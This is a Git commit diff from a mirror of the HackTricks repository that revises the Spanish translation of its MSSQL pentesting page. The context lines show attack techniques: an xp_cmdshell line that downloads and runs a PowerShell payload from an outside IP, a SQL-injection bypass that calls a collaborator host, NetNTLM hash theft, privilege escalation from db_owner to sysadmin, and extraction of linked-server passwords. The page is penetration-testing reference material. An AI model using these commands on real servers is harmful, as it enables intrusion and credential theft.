mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql-
This commit is contained in:
parent
3b91a39c0a
commit
69d24cbb7e
1 changed files with 19 additions and 19 deletions
|
@ -6,9 +6,9 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
@ -50,7 +50,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
|||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Si **no tienes credenciales** puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes **bloquear cuentas** si fallas al iniciar sesión varias veces usando un nombre de usuario existente.
|
||||
Si **no tienes credenciales**, puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes **bloquear cuentas** si fallas al iniciar sesión varias veces usando un nombre de usuario existente.
|
||||
{% endhint %}
|
||||
|
||||
#### Metasploit (necesita credenciales)
|
||||
|
@ -152,11 +152,11 @@ SELECT * FROM sysusers
|
|||
```
|
||||
#### Obtener Permisos
|
||||
|
||||
1. **Securable:** Definido como los recursos gestionados por SQL Server para el control de acceso. Estos se clasifican en:
|
||||
* **Servidor** - Ejemplos incluyen bases de datos, inicios de sesión, puntos de conexión, grupos de disponibilidad y roles de servidor.
|
||||
* **Base de datos** - Ejemplos abarcan roles de base de datos, roles de aplicación, esquemas, certificados, catálogos de texto completo y usuarios.
|
||||
* **Esquema** - Incluye tablas, vistas, procedimientos, funciones, sinónimos, etc.
|
||||
2. **Permiso:** Asociado con securables de SQL Server, permisos como ALTER, CONTROL y CREATE pueden otorgarse a un principal. La gestión de permisos se realiza en dos niveles:
|
||||
1. **Securable:** Definido como los recursos gestionados por SQL Server para el control de acceso. Estos se categorizan en:
|
||||
* **Servidor** – Ejemplos incluyen bases de datos, inicios de sesión, puntos de conexión, grupos de disponibilidad y roles de servidor.
|
||||
* **Base de datos** – Ejemplos abarcan roles de base de datos, roles de aplicación, esquema, certificados, catálogos de texto completo y usuarios.
|
||||
* **Esquema** – Incluye tablas, vistas, procedimientos, funciones, sinónimos, etc.
|
||||
2. **Permiso:** Asociado con securables de SQL Server, permisos como ALTER, CONTROL y CREATE pueden ser otorgados a un principal. La gestión de permisos ocurre en dos niveles:
|
||||
* A nivel de **Servidor** utilizando inicios de sesión
|
||||
* A nivel de **Base de datos** utilizando usuarios
|
||||
3. **Principal:** Este término se refiere a la entidad a la que se le otorgan permisos sobre un securable. Los principales incluyen principalmente inicios de sesión y usuarios de base de datos. El control sobre el acceso a securables se ejerce mediante la concesión o denegación de permisos o incluyendo inicios de sesión y usuarios en roles equipados con derechos de acceso.
|
||||
|
@ -184,7 +184,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
|||
### Ejecutar Comandos del Sistema Operativo
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ten en cuenta que para poder ejecutar comandos no solo es necesario tener **`xp_cmdshell`** **habilitado**, sino también tener el **permiso DE EJECUCIÓN en el procedimiento almacenado `xp_cmdshell`**. Puedes verificar quién (excepto los sysadmins) puede usar **`xp_cmdshell`** con:
|
||||
Ten en cuenta que para poder ejecutar comandos no solo es necesario tener **`xp_cmdshell`** **habilitado**, sino también tener el **permiso de EJECUCIÓN en el procedimiento almacenado `xp_cmdshell`**. Puedes verificar quién (excepto los sysadmins) puede usar **`xp_cmdshell`** con:
|
||||
```sql
|
||||
Use master
|
||||
EXEC sp_helprotect 'xp_cmdshell'
|
||||
|
@ -217,7 +217,7 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
|
|||
# Bypass blackisted "EXEC xp_cmdshell"
|
||||
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
||||
```
|
||||
### Robo de hash NetNTLM / Ataque de relé
|
||||
### Robo de hash NetNTLM / Ataque de relay
|
||||
|
||||
Debes iniciar un **servidor SMB** para capturar el hash utilizado en la autenticación (`impacket-smbserver` o `responder` por ejemplo).
|
||||
```bash
|
||||
|
@ -315,7 +315,7 @@ GO
|
|||
```
|
||||
### Leer Registro
|
||||
|
||||
Microsoft SQL Server proporciona **múltiples procedimientos almacenados extendidos** que te permiten interactuar no solo con la red, sino también con el sistema de archivos e incluso el [**Registro de Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:**
|
||||
Microsoft SQL Server proporciona **múltiples procedimientos almacenados extendidos** que te permiten interactuar no solo con la red, sino también con el sistema de archivos e incluso el [**Registro de Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
|
||||
| **Regular** | **Consciente de la instancia** |
|
||||
| ---------------------------- | -------------------------------------- |
|
||||
|
@ -354,7 +354,7 @@ Existen otros métodos para obtener ejecución de comandos, como agregar [proced
|
|||
|
||||
### De db\_owner a sysadmin
|
||||
|
||||
Si a un **usuario regular** se le otorga el rol **`db_owner`** sobre la **base de datos propiedad de un usuario administrador** (como **`sa`**) y esa base de datos está configurada como **`trustworthy`**, ese usuario puede abusar de estos privilegios para **escalada de privilegios** porque los **procedimientos almacenados** creados allí pueden **ejecutarse** como el propietario (**administrador**).
|
||||
Si a un **usuario regular** se le otorga el rol de **`db_owner`** sobre la **base de datos propiedad de un usuario administrador** (como **`sa`**) y esa base de datos está configurada como **`trustworthy`**, ese usuario puede abusar de estos privilegios para **escalada de privilegios** porque los **procedimientos almacenados** creados allí pueden **ejecutarse** como el propietario (**administrador**).
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
|
@ -445,11 +445,11 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
|
||||
## Extrayendo contraseñas de SQL Server Linked Servers
|
||||
|
||||
Un atacante puede extraer contraseñas de SQL Server Linked Servers de las Instancias de SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para obtener un mayor control sobre el objetivo. El script para extraer y descifrar las contraseñas almacenadas para los Linked Servers se puede encontrar [aquí](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
|
||||
Un atacante puede extraer contraseñas de SQL Server Linked Servers de las instancias de SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para obtener un mayor control sobre el objetivo. El script para extraer y descifrar las contraseñas almacenadas para los Linked Servers se puede encontrar [aquí](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
|
||||
|
||||
Se deben realizar algunos requisitos y configuraciones para que este exploit funcione. En primer lugar, se debe tener derechos de administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server.
|
||||
Se deben realizar algunos requisitos y configuraciones para que este exploit funcione. En primer lugar, se debe tener derechos de administrador en la máquina, o la capacidad de administrar las configuraciones de SQL Server.
|
||||
|
||||
Después de validar sus permisos, es necesario configurar tres cosas, que son las siguientes:
|
||||
Después de validar sus permisos, necesita configurar tres cosas, que son las siguientes:
|
||||
|
||||
1. Habilitar TCP/IP en las instancias de SQL Server;
|
||||
2. Agregar un parámetro de inicio, en este caso, se agregará un indicador de seguimiento, que es -T7806.
|
||||
|
@ -457,7 +457,7 @@ Después de validar sus permisos, es necesario configurar tres cosas, que son la
|
|||
|
||||
Para automatizar estas configuraciones, [este repositorio](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) tiene los scripts necesarios. Además de tener un script de PowerShell para cada paso de la configuración, el repositorio también tiene un script completo que combina los scripts de configuración y la extracción y descifrado de las contraseñas.
|
||||
|
||||
Para obtener más información, consulte los siguientes enlaces sobre este ataque: [Descifrado de contraseñas de servidores de enlace de bases de datos MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
Para obtener más información, consulte los siguientes enlaces sobre este ataque: [Descifrando contraseñas de servidores de enlace de bases de datos MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[Resolución de problemas de la Conexión de Administrador Dedicado de SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
|
@ -492,7 +492,7 @@ Probablemente podrá **escalar a Administrador** siguiendo una de estas 2 págin
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
***
|
||||
|
||||
## Comandos Automáticos de HackTricks
|
||||
```
|
||||
|
@ -552,12 +552,12 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
|
Loading…
Reference in a new issue